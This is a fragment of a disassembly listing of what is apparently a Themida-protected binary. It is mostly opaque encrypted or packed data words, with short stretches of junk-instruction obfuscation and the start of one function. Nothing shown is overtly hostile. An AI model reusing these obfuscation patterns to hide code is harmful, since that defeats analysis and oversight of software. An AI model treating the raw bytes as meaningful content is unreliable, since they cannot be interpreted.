		dd 66500ADDh, 957FF70Eh, 0C3ADC73Dh, 0F1DB996Bh, 210B6D99h
		dd 8BEB1AE8h, 0C5AD5694h, 0F07E83DBh, 291ECD06h, 226FF10Ch
		dd 97664ED0h, 8D8FE2F8h, 0A0F52B22h, 0C1B3A857h, 0D524416Fh
		dd 8E78FE07h, 1F8AFCF3h, 0F5FA270h, 696FC575h, 55F0DA9Ch
		dd 91A09544h, 2E289E8Dh, 8181D9C3h, 378355EFh, 831BE8CBh
		dd 0D91DEC2Eh, 58697AA4h, 4B29DBA9h, 0A91BFC54h, 40C8E53Fh
		dd 408695ACh, 6BC4ACBDh, 11B92199h, 4037D3E7h, 6F000000h
		dd 0B49CE53Fh, 7CD46156h, 80EB226Fh, 70FE03D1h,	0E81DEB86h
		dd 563F978Eh, 9AFBC2A7h, 0F939BCCEh, 8856AA02h,	0ADC93C7Dh
		dd 3217B29Ch, 3EDB740Eh, 5C9A914Fh, 7E1C9A5h, 2043BDh
		dd 56810000h, 7D83B2A7h, 0C934226Fh, 0F9429CD2h, 0D4615611h
		dd 0AE226F7Ch, 6E56D5BDh, 0BCA4CA37h, 0EA3FBD07h, 71FDF2A1h
		dd 36244549h, 0CCA25F2Dh, 99B15ED7h, 0E5F66128h, 0B0BD7CFBh
		dd 0CD362899h, 0A163BBA5h, 804EE9D3h, 0D804EE82h, 71425B4Eh
		dd 0C9974E41h, 0F1453C1Eh, 0D91141D9h, 1ECF7h, 9B836800h
		dd 6315F027h, 3F95EDE4h, 0FCF1A0E9h, 226F7D31h,	6B09FBC9h
		dd 0E8970274h, 9D87E71Ah, 59B10B02h, 942DC7A9h,	0A1963CC6h
		dd 226F7D94h, 0C5AFC02Bh, 0C9DA946Dh, 0A7567AD2h, 6F7D83B2h
		dd 0D2C93422h, 53026E94h, 0B3FB6E6Eh, 837AEB45h, 3FA91B2Bh
		dd 2C09FEE5h, 0B0226F7Dh, 0ADF9EBACh, 0F15C5EF2h, 7F90DE23h
		dd 56996B97h, 0A56CC2A7h, 19DD25Dh, 704F290Ch, 2C238E22h
		dd 0E7E402D8h, 0F212E0D3h, 4F46EFE4h, 0E791F70h, 3AF506FDh
		dd 66000000h, 38066A98h, 56AEA5C9h, 0B49CE53Fh,	7CD46156h
		dd 80EB226Fh, 376E5698h, 7BCA4CAh, 7A8856BDh, 0BEA8CA39h
		dd 0E91B1223h, 3Bh, 0B2D47B60h,	440466A7h, 0ABA2B3BFh
		dd 9CE53F53h, 0D46156B4h, 0AE226F7Ch, 9B290EBDh, 971BFCEEh
		dd 56E73F36h, 0A4CA376Eh, 0A21210F5h, 5B9BA453h, 9989D876h
		dd 0E5DCC0AFh, 3FBD078Dh, 0FCF1A0E9h, 226F7D2Dh, 227AE0C5h
		dd 0CA6168CBh, 30273838h, 116953BEh, 13E57FF1h,	1CE8CB37h
		dd 0C2D36E58h, 3FA91BDAh, 6BB49CE5h, 72FE04D2h,	9EF6ED88h
		dd 0E711B921h, 857A29D3h, 1F6F7DB0h, 0C2ACCA3Bh, 0C3BA2527h
		dd 5AB2h, 0E53FEA00h, 0A756B49Ch, 0D3742AD9h, 1C3B9ADCh
		dd 0BC574152h, 0D11D180Dh, 37A2226Fh, 0D15ADB40h, 355D226Fh
		dd 1DB8A2CCh, 8856240Ch, 700BF579h, 56725A79h, 30993771h
		dd 2F269553h, 765E10F1h, 9C6C7156h, 5A4434D2h, 6724DABFh
		dd 3A84F2E9h, 4A43h, 19ECBA00h,	3F0E665Dh, 56B49CE5h, 3401F371h
		dd 0AFA67ADBh, 719A9B90h, 51E02270h, 7070D95Ch,	6273DE22h
		dd 0D9A7567Ah, 0F951482Ah, 0FA7E8856h, 264AB810h, 9990A13Ch
		dd 19C8A65Bh, 2B209C4Bh, 226F7D0Ah, 3A3142ADh, 43BD07E2h
		dd 0C6h, 0CB715681h, 71539C09h,	0C4AEC041h, 0EB211829h
		dd 0A89D4C95h, 226F9A85h, 0DD5D987Dh, 141FF558h, 0CAB4BC46h
		dd 9EC6382Fh, 87220C64h, 2FE2C776h, 71B11A17h, 338BE5DCh
		dd 3507A1CFh, 1CE8CB37h, 0B3984758h, 0F0F732B4h, 30B14345h
		dd 0AB6809EEh, 1BB40C03h, 9CE53FA9h, 21996BB4h,	0D3E711B9h
		dd 3237h, 2BDAA800h, 0CFC6614Bh, 9CE53F77h, 0D46156B4h
		dd 0EB226F7Ch, 2D22D180h, 226F7D08h, 0F54D44AFh, 0CA376E56h
		dd 6D571DE7h, 7D9C1D2h,	3043BDh, 3F810000h, 56B49CE5h
		dd 6F7CD461h, 94703E22h, 645BF6E0h, 14EFF0B5h, 0EC8A9936h
		dd 8856F3DBh, 0B70FF97Dh, 0A43F294Fh, 957D9C93h, 0BCA4CA37h
		dd 0CB37BD07h, 6D571BE8h, 7FD7C1D2h, 0A058F268h, 0BA7B7062h
		dd 0FD226F7Ch, 27E7DABEh, 90A12306h, 775C957Fh,	0DE5CD017h
		dd 97FCF376h, 226F97A4h, 441A0D27h, 6018B2BEh, 84D611A2h
		dd 46108973h, 4CB6848Bh, 453EE050h, 0A7B842EBh,	0E69D90B0h
		dd 9289ED18h, 28C2AE54h, 4327AA8Fh, 36D80772h, 6BB4093Fh
		dd 0E1A7C7BCh, 0C9082445h, 3FFF0918h, 0F3CC04ADh, 9BDEB095h
		dd 21A08A9Bh, 289A7118h, 0C9B5A8D8h, 0D9120201h, 2BCFh
		dd 88560700h, 0AFAB3C7Dh, 2F192AC5h, 0A35F9D94h, 0FBAAE3CDh
		dd 6F7D2F06h, 57259022h, 6ACFC6ACh, 226F7CCBh, 11E7DAF4h
		dd 13E57FF1h, 0F6A5CB37h, 0A198DC28h, 85A2F747h, 5AB6EBD9h
		dd 6B1A2BA7h, 3C0A649Dh, 93B2A9C5h, 41A9029Eh, 0BE58C324h
		dd 0C170B90Eh, 0D7181D12h, 349F289Eh, 45291E3Dh, 0EA2A74A3h
		dd 2316957Fh, 0CD2274EBh, 6BEBB99Eh, 93D34ACCh,	0BDC1D7EAh
		dd 0D6CDDE26h, 3E0CC3B6h, 66BAB1A9h, 0D2EC7764h, 286Ch
		dd 0E93FA400h, 29FCF1A0h, 6E226F7Dh, 7D865403h,	16EEAF38h
		dd 0C8D9745Eh, 983243DEh, 23ECh, 6C956300h, 867D1802h
		dd 0A0E93F2Eh, 7D2DFCF1h, 16C5226Fh, 6F7D1421h,	4940AB22h
		dd 0EFBD6CD7h, 0F2C45E14h, 0F87C8856h, 4A7C730Eh, 163h
		dd 0E73F88h, 6F7D2A0Bh,	9C658D22h, 0C8B0C1D2h, 0CB37A91Bh
		dd 996BBDA5h, 0E711B921h, 4C37D3h, 3F6F0000h, 21EF9EE7h
		dd 3F978EE0h, 29D9A756h, 4AEB5047h, 0C0226F7Dh,	7D191C11h
		dd 339E226Fh, 2A8BCA3Ch, 112571E9h, 0FAF24338h,	5AC5226Fh
		dd 56503849h, 0E9CC376Eh, 0D7725CFEh, 6576F809h, 56BD077Dh
		dd 4FB5F88h, 39D2h, 0E73F1000h,	6156B69Eh, 226F7CD4h, 5F0EBDAEh
		dd 6F7CCB6Ah, 0EB4A3F22h, 0CC226F7Ch, 45F45F61h, 6F7CE550h
		dd 786FDA22h, 376E5620h, 7BEA6CCh, 0CA6711F6h, 41D99840h
		dd 0CB37F24Ah, 0E21BBDA5h, 9781ED14h, 3FAD05FCh, 1FED9CE5h
		dd 3D958CE2h, 0F97D8856h, 737D740Fh, 7E8856A1h,	2BAF03FAh
		dd 0C5D3E712h, 28h, 0D89C6836h,	0E53F89E1h, 8856B49Ch
		dd 7611FB5Fh, 0CA6B607Fh, 0ED226F7Ch, 6E569A82h, 0BCA4CA37h
		dd 4543BD07h, 81000000h, 0B49CE53Fh, 83B2A756h,	34226F7Dh
		dd 0BEB3D2C9h, 226F7D77h, 56321A0Bh, 3203F8A7h,	85226F7Dh
		dd 37CB231Ah, 241106CAh, 9B226F7Dh, 0F6E08E73h,	51394A5Bh
		dd 0F97D8856h, 9E839402h, 9C803501h, 6EC6BD05h,	170CB037h
		dd 226F7D1Eh, 3B2536A1h, 0D75E5302h, 0E8226F7Ch, 1921867Dh
		dd 0DE226F7Dh, 0CDBB1A4h, 37E2B44Eh, 87C0AAB0h,	332A4CB9h
		dd 7E68F2F5h, 4338E7F0h, 226F7CF2h, 0D679DC5h, 80778823h
		dd 50976D60h, 0AFC09A4Dh, 56AE7C15h, 0B8C2271Eh, 0FA226F77h
		dd 0E713B716h, 0FE631DD2h, 1055FFFFh, 226F7D29h, 6F7D16A3h
		dd 7D86B622h, 0AD92226Fh, 17D86A07h, 56BBB212h,	226FFAE3h
		dd 6FFB50E9h, 11F4C222h, 30096E65h, 0CBE26FFBh,	997E2D76h
		dd 0FB7C5C3Bh, 1F1607h,	440B110Bh, 5D47B2E4h, 0C06FB80Dh
		dd 4FF8ECDBh, 2219FDDEh, 0D600E03h, 76E1EA72h, 63157370h
		dd 307CD624h, 2E1h, 0B14B11D7h,	0CC6608F9h, 0E983EF14h
		dd 9A3D531h, 27C1B351h,	7FD814Bh, 0EA1BD36Dh, 0AD3AF28Ch
		dd 0A75B13ADh, 30492FC9h, 9F21FA3Bh, 5828BD28h,	0BBA5CB37h
		dd 0F310166Bh, 10BF6E7Fh, 0BBB2C242h, 40E14E56h
		dd 42DC4724h, 9F19D663h, 87D02528h, 7F95E3D8h, 0BB262A70h
		dd 0D8C43E0Ch, 0EF8739AEh, 8D27387Eh, 59432DD5h, 6F8E57DAh
		dd 0F63F9422h, 0F24A5247h, 0CE2440h, 318973E7h,	9A91A2D4h
		dd 400EBD28h, 5C14AEC2h, 90E0CAA6h, 0D2D0353Bh,	0DBFE0B2Bh
		dd 58697A03h, 3005FAA9h, 87289EE8h, 1106251Ch, 2A704C8Fh
		dd 6BBBA510h, 291ECD16h, 2441D84Bh, 2F2BBCE4h, 61A16F1Eh
		dd 0B0C1B152h, 0D9CE7D16h, 289EE85Ch, 0C301F863h, 979E933Fh
		dd 5C289EE8h, 45E0CAA6h, 8AE81B43h, 0FF7E6879h,	289ED23Ah
		dd 90856CC1h, 289EEEA5h, 0EDBD786Dh, 9702289Eh,	6A192A95h
		dd 70522F75h, 0DF5C32Ah, 8FFA6C63h, 0B70055A5h,	48931308h
		dd 0C5042446h, 0E722F9Dh, 35845B8Dh, 965B664Bh,	7A73798Ah
		dd 0CF6A877Ah, 1B72975h, 3BAD0000h, 32CF8721h, 19EAA23Ch
		dd 0FF07BF59h, 0DD27DF79h, 5721FD97h, 0A94331D3h, 0C86214F1h
		dd 0E983D710h, 59FD131h, 2411061Fh, 9B289F23h, 0EA3F3606h
		dd 0A7FDF2A1h, 3B2440E1h, 69458856h, 0ACA3A588h, 5220CF3Ah
		dd 73CDC4B4h, 9F968B3Ah, 20289F67h, 241106B5h, 9B289F67h
		dd 0AE033930h, 6763D2C7h, 0E954289Fh, 0C23429D8h, 0CA2A755Ch
		dd 9B6905FCh, 0A5170E4Ch, 65C3343Ah, 2C866462h,	134E0h
		dd 9EBE2A00h, 0B9B54C04h, 0D69C671Fh, 0F682843Ch, 1460A45Ch
		dd 50D49E7Ah, 6E26C0B4h, 8D45DF97h, 0AE66005Ah,	9C821C54h
		dd 24A78E83h, 8318289Fh, 0CF7156B3h, 0CB0B9811h, 0BC11473Eh
		dd 4715C473h, 6707FABDh, 0E7D1E27Dh, 18091D78h,	1B2C845Dh
		dd 0CCDDBF24h, 7BE62441h, 0D281DCCh, 0B2289EF3h, 0BDF65047h
		dd 0E7D80ED8h, 937280F8h, 4D5EF9E3h, 86EA1856h,	0A2CE34ECh
		dd 92DC25F3h, 9CF1419Bh, 0F5066E96h, 0E78B7846h, 4C6B62FDh
		dd 6FF02157h, 0A210F52Ah, 9F2F0357h, 7A04D71Ch,	0D7ADAC95h
		dd 69036EE0h, 6F1E50B1h, 2C1163A1h, 0BA085195h,	6E786F95h
		dd 8B254DB6h, 0AB4533D3h, 0C76E6312h, 0F8227075h, 0AC58968Dh
		dd 8E762EC8h, 1E024B12h, 0CE9CA1F9h, 0B6513B33h, 0B2530BA5h
		dd 0BB4715C4h, 9173CBB5h, 4D5EF9E3h, 4B34C56h, 706A260Fh
		dd 372E9922h, 0BD6CEEF9h, 675E14EFh, 135DA55Dh,	3244C179h
		dd 7693E898h, 4BAC577h,	7DF90C31h, 0D6E7F893h, 41463227h
		dd 8CF72441h, 0B8B84AA2h, 0ABC93B09h, 0AFEAAB4h, 75000000h
		dd 2C165CA7h, 2E429A91h, 0ABB137D6h, 0D79969C1h, 85295EDh
		dd 373FC61Eh, 650FF54Dh, 93E1237Bh, 0C3B551A9h,	0F08281D9h
		dd 1B53AE06h, 89521631h, 4C281E2h, 83000000h, 148704EAh
		dd 2C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	ebp, 6826066Eh
		sub	ebp, 3B206002h
		dec	ebp
		or	ebp, 4D0524C5h
		xor	ebp, 2FC67501h
		push	ecx
		mov	ecx, 370A54AAh
		neg	ecx
		xor	ecx, 0CAC89AA6h
		add	ebp, ecx
		pop	ecx
		add	ebp, 0C12E97F1h
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, ebp
		mov	[esi+8], edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		dd 9993F6D8h, 0A866B8AEh, 0C503062Fh, 6E8C38Bh,	0AE000000h
		dd 2DEBFC5Eh, 0EABF669Ch, 0C38A5BA2h, 75C7C381h, 81660000h
		dd 0BEE384C8h, 7AD0A036h, 7D06C681h, 870F852Fh,	4, 59585756h
		dd 0F51138Bh, 8158FABFh, 0AA5FC2C2h, 0FE85134h,	64000000h
		dd 581C2B32h, 8F71D240h, 0C18CBFC4h, 0D981E540h, 4BDE46B5h
		dd 0C2815959h, 191C546Bh, 13E9h, 16D3AD00h, 0DCF2103h
		dd 6B57B86Ch, 81DEEF68h, 4BE5033Ah, 6FF5EA81h, 27BF4D6Fh
		dd 8912DB37h, 8FB96613h, 2EB836Ah, 1BF4B966h, 0F4E4B4Bh
		dd 1785h, 2800F00h, 8A000000h, 38E9C2h,	27430000h, 4A60BB5Eh
		dd 0F6A8BBE6h, 11E9h, 699FE200h, 0A9EB6847h, 0D588D5BCh
		dd 5A15606Ch, 65E91282h, 20FFFFFFh, 790EE4ACh, 4103C8Fh
		dd 4D4FFF55h, 52BCF085h, 12E8B9C7h, 1F000000h, 5E176D8Dh
		dd 0E229582Bh, 8873D21Ah, 0A94DAB93h, 0F28B66DEh, 0BE958h
		dd 0AEE00000h, 79FBEEFFh, 886DA4F2h, 0D4C0815Dh, 0F00006Eh
		dd 48Dh, 0F6BF6600h, 961BBE2h, 0C38117EEh, 0E8121218h
		dd 0EE9h, 492DC600h, 834CF2D1h,	0D0919E04h, 8B52AE9Dh
		dd 6830F08h, 81000000h,	13CC3BC2h, 87C1817Fh, 0F080D2Bh
		dd 0E981D3BFh, 11C52749h, 9FEBF181h, 8B665CACh,	0F0889FBh
		dd 0E883F1BFh, 13E804h,	0E03E0000h, 4C6FE86h, 0BADCD3B3h
		dd 295E258Eh, 2DD16AB8h, 5B53601Ah, 0DE8h, 869E600h, 7C0449E6h
		dd 0EB43999Eh, 6159BBFAh, 850F4B5Fh, 2Ah, 0FE9h, 4AC47C00h
		dd 0C294CFB2h, 5FE19663h, 0F02A8E79h, 22E9h, 6D344D00h
		dd 0D6278B58h, 0C6ED0B85h, 7272A449h, 0B70FAAE0h, 0FF69E9F0h
		dd 58CBFFFFh, 1FA5A7C9h, 0E9BD87A5h, 13Ch, 4Fh dup(0)
		dd 331DBD83h, 0F01062Ah, 4FD84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 840FBE13h
		dd 18h,	6E960h,	1F2E0000h, 0C73346B4h, 6E9h, 50DC7100h
		dd 619CC2CFh, 5E96060h,	0FD000000h, 0FEF42E14h,	0CE8B6661h
		dd 0C985C661h, 43062A27h, 0A6EB68FCh, 5250D4F7h, 6810Fh
		dd 52500000h, 585A310Fh, 840F310Fh, 2, 585A6160h, 0A240481h
		dd 0F517AE2Ah, 22C9B5FFh, 6A062Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 365B37C3h, 0A7153756h
		dd 890F4B21h, 0Ch, 6840Fh, 880F0000h, 0
		dd 81A9858Dh, 6A062Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 67D184C3h, 0E952F560h, 12h, 0C40D2C9h
		dd 0B604DB46h, 3EC648F8h, 0A0A8F5D8h, 61590458h, 58E0Fh
		dd 0F600000h, 0FF61C9B7h, 8589F9D0h, 62A2479h, 0EB09BF60h
		dd 9E97EFEh, 70000000h,	96ABA673h, 97472E39h, 0C985C661h
		dd 50062A27h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	0BAC35545h, 4FE3BBAFh, 1830FE1h, 0F9000000h, 14E9h
		dd 3B678700h, 53DF1DCAh, 0A33507BBh, 3475AC8h, 5C020260h
		dd 0D13568A9h, 0EE98D04h, 0FD000000h, 0AB40C783h, 1F5B8E18h
		dd 2E510FDBh, 243481EFh, 25A97C63h, 3B96660h, 0B5FF61E6h
		dd 62A22C9h, 18D0Fh, 0FF90000h,	185h, 858DF900h, 62D81A9h
		dd 0AE9h, 8B3BD600h, 374F8958h,	0FF7CF544h, 8589FCD0h
		dd 62A0731h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	5CC35545h, 0E909CDC8h, 8, 8B0C7316h, 46E524FBh
		dd 0EB3D1368h, 8E86076h, 0BF000000h, 32E88FE5h,	0F137C67h
		dd 8Fh,	7E95900h, 49000000h, 348F6148h,	816126A7h, 6B1C2404h
		dd 6A79A4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0FFF55DC3h, 2A22C9B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 9447E507h
		dd 8160039Ah, 89341AD9h, 2880F38h, 0B3000000h, 858D6152h
		dd 62D81A9h, 60D0FFFCh,	42B9A2B8h, 8F0F6168h, 0Eh, 9E9h
		dd 903DE100h, 0EB6C86EEh, 8589F4BDh, 62A1805h, 830FFC60h
		dd 2, 0C661D18Bh, 2A27C985h, 840F5006h,	0Ah, 0F5B5760h
		dd 89h,	70686100h, 0E95F5FC7h, 11h, 8F448180h, 0C51EAE51h
		dd 78E0306Ch, 2AEBD390h, 240481EBh, 383D14E6h, 0C8A0Fh
		dd 8A0F0000h, 6, 8E0Fh,	0B5FF0000h, 62A231Dh, 208A0Fh
		dd 0E8600000h, 12h, 660C60ADh, 6404F117h, 8C43ECF4h, 4E88E805h
		dd 0F5EBDECh, 82h, 858D6100h, 62A3BBFh,	0FD0FFF9h, 1381h
		dd 0EE900h, 0EC8A0000h,	3B30CD79h, 565DB0DDh, 0CEFFCE8Ch
		dd 2A4D8589h, 0F60062Ah, 0D280FFB7h, 850F6175h,	7, 1800Fh
		dd 0E9F80000h, 1A2h, 0FE9h, 0F41CA700h,	2FC4FFA4h, 195556B4h
		dd 3B7D8BDEh, 0B9666095h, 0F78B6D06h, 52505061h, 6820Fh
		dd 810F0000h, 0
		dd 5250310Fh, 310F6160h, 13E9h,	0B783AD00h, 0FC8F39E9h
		dd 1DC7362Ah, 34EB65BAh, 0AF9D83B3h, 585A585Ah,	8B0FF595h
		dd 1Dh,	0E9CB8B60h, 14h, 0C92E63DAh, 2374422Dh,	33FA330Bh
		dd 0E2ACF63Bh, 0BA8D1ABFh, 0FEC8B61h, 118Ch, 0CE900h, 0CC750000h
		dd 0EC54725Eh, 0BCF7B1A3h, 0C4835F6Bh, 8B60F9FCh, 6138B6D3h
		dd 8A0F6060h, 6, 890Fh,	840F0000h, 0Ah,	5E9h, 9E744F00h
		dd 0E861A801h, 0
		dd 48EA815Ah, 0C7062FB0h, 0FC45h, 0BA830000h, 62A331Dh
		dd 98840F01h, 52000000h, 0F6A006Ah, 247992FFh, 895A062Ah
		dd 2FAAE882h, 0EC9A8D06h, 52062FAAh, 12803C7h, 50530000h
		dd 73192FFh, 525A062Ah,	0AAEC9A8Dh, 0FF53062Fh,	2FAAE8B2h
		dd 4D92FF06h, 5A062A2Ah, 5074C00Bh, 0AAEC9A8Dh,	7B8D062Fh
		dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h
		dd 39348DEEh, 8D0C752Bh, 2A2E25BAh, 0C4D8B06h, 0C032A4F3h
		dd 75FF52AAh, 25828D08h, 50062A2Eh, 180592FFh, 0B5A062Ah
		dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh
		dd 600008C2h, 80D08B66h, 6A61F3EFh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 8E17C351h
		dd 2E9BE78h, 0D28B09F1h, 1C2311D0h, 2807BD68h, 0F14561BFh
		dd 55173A2h, 792D3783h,	0FFFC7218h, 82BF87A7h, 30C18748h
		dd 0D251F3ECh, 1E5507EEh, 4E98A4Dh, 3FFD314Dh, 30FC1B36h
		dd 0DF7D51D9h, 0BA15C7B3h, 5AFC3775h, 3314653Bh, 10FC379Dh
		dd 0B9A6F494h, 0B1F81333h, 26F813F7h, 72FC37D9h, 0DA5BF4BEh
		dd 2E435103h, 7141B4E5h, 30FA1D8Eh, 30B2B3C1h, 30963767h
		dd 30FFDFE6h, 6DDC37D9h, 5C756A2Fh, 747D3352h, 30E7331Fh
		dd 65B9379Dh, 0A12C620Dh, 0FE6C6A15h, 33CFDE08h, 309637D9h
		dd 30FFDFBFh, 6BDC3776h, 6C756CF8h, 747D33B9h, 30E933EAh
		dd 63BF3767h, 3F85B670h, 30FC3459h, 0FF4338ECh,	81ACB2FBh
		dd 60053114h, 0DBA289FBh, 5AD83347h, 33146067h,	10FC37B3h
		dd 0B9A3F486h, 0B1F81390h, 28F81332h, 77FC373Bh, 0E2ECF4CAh
		dd 0BB8A6D6Fh, 0FE433894h, 81CEB23Eh, 309631F6h, 30FFDFBEh
		dd 6ADC3776h, 64756DF8h, 747D33B9h, 30E533EAh, 62BE3767h
		dd 4FE2FF70h, 56A04618h, 0BFF3FC67h, 30FC3777h,	2F45A7C7h
		dd 60DCC33Fh, 0B8F3609Dh, 30FC3767h, 0D96C69EAh, 30FC37CAh
		dd 220895DCh, 3AEBCEB1h, 3C69B4D0h, 0D9455F98h,	0CF906275h
		dd 1AF366F2h, 65FC5DB5h, 30FC3431h, 0F3A117ECh,	1490BE2Bh
		dd 14B8B63Fh, 30FC2399h, 0F3A972CEh, 5A3CBC92h,	331464B3h
		dd 10FC37D9h, 0B9A7F4B7h, 0B1F8132Ah, 27F8137Fh, 73FC379Dh
		dd 2FD7F49Dh, 8D7FB18Ch, 36D613E2h, 0B3F542D9h,	1AD6BE51h
		dd 29883770h, 0F077646Bh, 30F84D25h, 0B979BECEh, 0BDFA1D40h
		dd 1C475E2Eh, 6B2FC8DFh, 0B941B4B4h, 30FA1D5Ch,	63AC204Fh
		dd 30F84D25h, 0B979BECEh, 0BDFA1D40h, 1C446F2Eh, 6B2FC8DFh
		dd 0F97D51B4h, 294307D7h, 0D9FE2BB4h, 30FC3791h, 0B762F5FFh
		dd 1646F38Bh, 4EA48D6Dh, 0AD71F752h, 36D386D6h,	0D8AF371Ch
		dd 30FC3738h, 6B3F6CBDh, 34D86B47h, 34D873E6h, 30FC37A9h
		dd 8B3F649Ah, 0BE6CAA26h, 0BD04ECD5h, 1F6042BEh, 0F943389Bh
		dd 5A2CC83Bh, 33146267h, 10FC37B3h, 0B9A1F484h,	0B1F81380h
		dd 2CF81332h, 75FC373Bh, 50BF4C8h, 0E6FBF15Dh, 0BBC42FC2h
		dd 3F3C3C7Dh, 30FC675Dh, 0A761BAECh, 3FFA1D38h,	3344CF84h
		dd 0D9FC379Dh, 30FC37CBh, 0EA05E72Ah, 5A1FC87Eh, 331465D9h
		dd 10FC37ECh, 0B9A6F42Ch, 0B1F8136Fh, 27F813D9h, 72FC37CEh
		dd 0BE0EF435h, 0D800BC5Eh, 30FC37D5h, 0C1A81A1Fh, 0BB0F225Dh
		dd 0E557CC8Bh, 7CE389FBh, 7261BA90h, 56FA18D6h,	0BD880B0Ch
		dd 1F60425Ch, 5B12B7EAh, 8FF3E789h, 3F3C3CF5h, 30FC5519h
		dd 0FE7751CEh, 7E6BAAEAh, 30963199h, 30FFDF8Bh,	6ADC37ECh
		dd 64756DB5h, 747D331Fh, 30E733B9h, 62BE37CEh, 3786FBA4h
		dd 9AF6C329h, 30FD8F7Ah, 309637ECh, 30FFDF27h, 69DC373Bh
		dd 7C756E5Eh, 747D33EAh, 30EA3343h, 61BD37B3h, 0EBCFAD1Ah
		dd 30FC3E05h, 22933476h, 0FD323DDBh, 0D303F6A2h, 0BD0CC64Eh
		dd 1F4D70FAh, 62FC5DB5h, 30FC3431h, 0F3A617ECh,	14A8BE2Ch
		dd 14B8B63Fh, 30FC2299h, 0F3AE75CEh, 0B8F33B7Bh, 30FC37B7h
		dd 0BD798DBFh, 0AC89B261h, 56043159h, 0E003C4B0h, 0D8A937F7h
		dd 30FC37CDh, 6D3F6A47h, 34D85B3Ah, 34D87358h, 30FC37F0h
		dd 0C03F6233h, 2B444778h, 0C4B92F95h, 0F0F7C645h, 30CBB368h
		dd 309637B3h, 30FFDF89h, 68DC37ECh, 74756FB5h, 747D331Fh
		dd 30E833B9h, 60BC37CEh, 0BB9A85A4h, 0A761BA7Ch, 0B1FA1D97h
		dd 9EF04E2Dh, 30FF8F76h, 87F3373Bh, 0BA1FC856h,	30967400h
		dd 30FFDF32h, 6DDC37B3h, 5C756A1Ah, 747D33C8h, 30E03352h
		dd 65B9373Bh, 0EDD2D85Eh, 0EEA8CBh, 0D17DA571h,	64F780C7h
		dd 81CC8A54h, 0BD7131C3h, 36D38236h, 7BA04A83h,	0CD790417h
		dd 1BFA1DD6h, 3215F6A8h, 0D67261BAh, 0C56FA18h,	5CBD880Bh
		dd 0EA1F6042h, 895B12B7h, 0F58FF3E7h, 0F305E983h, 6AC08BA4h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0C82EC355h, 0CD644B7Fh, 800A08EDh, 0C38B59EEh
		dd 58F0Fh, 0F600000h, 8B61FAB7h, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0ADF7E0Fh
		dd 83ADC123h, 2A2451BDh, 9750006h, 2A89BD83h, 7400062Ah
		dd 8B535019h, 47AB8C0h,	85890000h, 62A1A01h, 0BBD09D8Dh
		dd 0D3FF062Ch, 0BD83585Bh, 62A2A89h, 50177400h,	47AB853h
		dd 85890000h, 62A1A01h,	0B8719D8Dh, 0D3FF062Ch,	8A50585Bh
		dd 0E86059CFh, 0Dh, 97572F9h, 0C671EB10h, 539A84C5h, 0FCBA6684h
		dd 13E858FAh, 74000000h, 0E3F0125Fh, 0A8978032h, 701D55B2h
		dd 44B415F2h, 880F8F90h, 0
		dd 0B460615Fh, 13E9A3h,	82FD0000h, 0A27D100Bh, 0DECB72FFh
		dd 0BDC82CC5h, 89FD2F43h, 0C08B617Ah, 1C8E9h, 8	dup(41888800h)
		dd 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 300h, 14h dup(0)
		dd 0CC200h, 758F29h, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
		dd 34ED815Dh, 60062FB8h, 0B78185C7h, 62Fh, 81660000h, 0FA1663Eh
		dd 0F85h, 8585C700h, 6062FB7h, 0E9000000h, 24h,	0B789858Dh
		dd 8D50062Fh, 2FB7D985h, 6A565006h, 1DE800h, 0C4830000h
		dd 0FF2510h, 85890000h,	62FB785h, 85B50361h, 8B062FB7h
		dd 2FB78185h
		db 6, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A7634
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A7640
; ---------------------------------------------------------------------------


loc_5A7634:				; CODE XREF: Themida_:005A761Dj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
